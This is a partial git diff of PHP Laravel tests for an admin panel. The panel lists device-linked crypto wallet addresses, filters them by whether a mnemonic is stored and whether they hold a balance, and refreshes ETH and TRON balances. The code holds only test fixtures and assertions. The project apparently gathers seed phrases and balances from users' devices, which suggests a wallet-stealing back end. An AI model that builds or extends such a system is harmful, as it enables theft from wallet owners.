||||||
|
$plain = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'addr-plain',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'chain_type' => 'BTC',
|
||||||
|
'btc' => 0,
|
||||||
|
]);
|
||||||
|
|
||||||
|
return compact('mnemonic', 'withMnemonic', 'withBalance', 'plain');
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function data_includes_mnemonic_id(): void
|
||||||
|
{
|
||||||
|
$rows = $this->seedRows();
|
||||||
|
|
||||||
|
$this->actingAs($this->admin(), 'admin')
|
||||||
|
->getJson(route('admin.addresses.data', ['device_key' => 'dev-addr-filter']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 3)
|
||||||
|
->assertJsonFragment([
|
||||||
|
'address' => 'addr-with-mnemonic',
|
||||||
|
'mnemonic_id' => $rows['mnemonic']->id,
|
||||||
|
])
|
||||||
|
->assertJsonFragment([
|
||||||
|
'address' => 'addr-plain',
|
||||||
|
'mnemonic_id' => null,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function filters_by_has_mnemonic(): void
|
||||||
|
{
|
||||||
|
$this->seedRows();
|
||||||
|
$admin = $this->admin();
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.addresses.data', ['has_mnemonic' => 1]))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.address', 'addr-with-mnemonic');
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.addresses.data', ['has_mnemonic' => 0]))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 2)
|
||||||
|
->assertJsonMissing(['address' => 'addr-with-mnemonic']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function filters_by_has_balance(): void
|
||||||
|
{
|
||||||
|
$this->seedRows();
|
||||||
|
$admin = $this->admin();
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.addresses.data', ['has_balance' => 1]))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.address', 'addr-with-balance');
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.addresses.data', ['has_balance' => 0]))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 2)
|
||||||
|
->assertJsonMissing(['address' => 'addr-with-balance']);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -55,8 +55,20 @@ class WalletBalanceServiceTest extends TestCase
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function skips_non_tron_chains(): void
|
public function refreshes_eth_and_persists_to_address_row(): void
|
||||||
{
|
{
|
||||||
|
Http::fake([
|
||||||
|
'*/v1/accounts/*' => Http::response(['data' => []], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$eth = \Mockery::mock(\App\Services\Chain\EthDriver::class);
|
||||||
|
$eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25');
|
||||||
|
$eth->shouldReceive('getTokenBalance')->once()->andReturn('9.5');
|
||||||
|
$manager = \Mockery::mock(\App\Services\Chain\ChainManager::class);
|
||||||
|
$manager->shouldReceive('resolve')->with('eth')->andReturn($eth);
|
||||||
|
$this->app->instance(\App\Services\Chain\ChainManager::class, $manager);
|
||||||
|
config(['coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7']);
|
||||||
|
|
||||||
$device = Device::query()->create([
|
$device = Device::query()->create([
|
||||||
'device_id' => 'dev-bal-2',
|
'device_id' => 'dev-bal-2',
|
||||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||||
@@ -67,12 +79,49 @@ class WalletBalanceServiceTest extends TestCase
|
|||||||
'chain_type' => 'ETH',
|
'chain_type' => 'ETH',
|
||||||
'source' => 'MetaMask',
|
'source' => 'MetaMask',
|
||||||
'eth' => 1.0,
|
'eth' => 1.0,
|
||||||
|
'usdt' => 0,
|
||||||
'monitor' => 1,
|
'monitor' => 1,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$ok = app(WalletBalanceService::class)->refresh($addr);
|
$ok = app(WalletBalanceService::class)->refresh($addr);
|
||||||
$this->assertFalse($ok);
|
$this->assertTrue($ok);
|
||||||
$addr->refresh();
|
$addr->refresh();
|
||||||
$this->assertEqualsWithDelta(1.0, (float) $addr->eth, 0.0000001);
|
$this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001);
|
||||||
|
$this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function refresh_persists_even_when_balances_unchanged(): void
|
||||||
|
{
|
||||||
|
Http::fake([
|
||||||
|
'*/v1/accounts/*' => Http::response([
|
||||||
|
'data' => [[
|
||||||
|
'balance' => 0,
|
||||||
|
'trc20' => [],
|
||||||
|
]],
|
||||||
|
'success' => true,
|
||||||
|
], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'dev-bal-persist',
|
||||||
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||||
|
]);
|
||||||
|
$addr = WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => 'imToken',
|
||||||
|
'trx' => 0,
|
||||||
|
'usdt' => 0,
|
||||||
|
]);
|
||||||
|
$before = (string) $addr->updated_at;
|
||||||
|
sleep(1);
|
||||||
|
|
||||||
|
$this->assertTrue(app(WalletBalanceService::class)->refresh($addr));
|
||||||
|
$addr->refresh();
|
||||||
|
$this->assertNotSame($before, (string) $addr->updated_at);
|
||||||
|
$this->assertEqualsWithDelta(0.0, (float) $addr->trx, 0.0000001);
|
||||||
|
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,11 +20,15 @@ class WalletSourceTest extends TestCase
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function bundle_labels_collapse_aliases(): void
|
public function supported_chains_exclude_solana_and_ton(): void
|
||||||
{
|
{
|
||||||
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask.MetaMask'));
|
$this->assertTrue(WalletSource::isSupportedChain('ETHEREUM'));
|
||||||
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask', 'MM'));
|
$this->assertTrue(WalletSource::isSupportedChain('TRON'));
|
||||||
$this->assertSame('Trust Wallet', WalletSource::labelForBundle('com.sixdays.trust'));
|
$this->assertTrue(WalletSource::isSupportedChain('BITCOIN'));
|
||||||
$this->assertSame('Safari', WalletSource::labelForBundle('com.apple.mobilesafari', 'Safari'));
|
$this->assertTrue(WalletSource::isSupportedChain('BNB'));
|
||||||
|
$this->assertFalse(WalletSource::isSupportedChain('SOLANA'));
|
||||||
|
$this->assertFalse(WalletSource::isSupportedChain('SOL'));
|
||||||
|
$this->assertFalse(WalletSource::isSupportedChain('TON'));
|
||||||
|
$this->assertFalse(WalletSource::isSupportedChain('UNKNOWN'));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user